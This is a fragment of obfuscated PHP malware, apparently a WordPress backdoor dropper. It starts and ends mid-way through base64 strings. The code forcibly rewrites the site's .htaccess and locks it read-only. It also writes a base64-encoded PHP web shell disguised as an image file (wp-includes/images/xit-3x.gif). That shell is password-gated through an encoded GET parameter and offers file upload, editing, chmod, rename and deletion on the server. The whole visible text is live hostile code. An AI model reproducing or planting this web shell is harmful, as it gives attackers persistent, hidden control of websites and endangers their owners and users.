RpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KI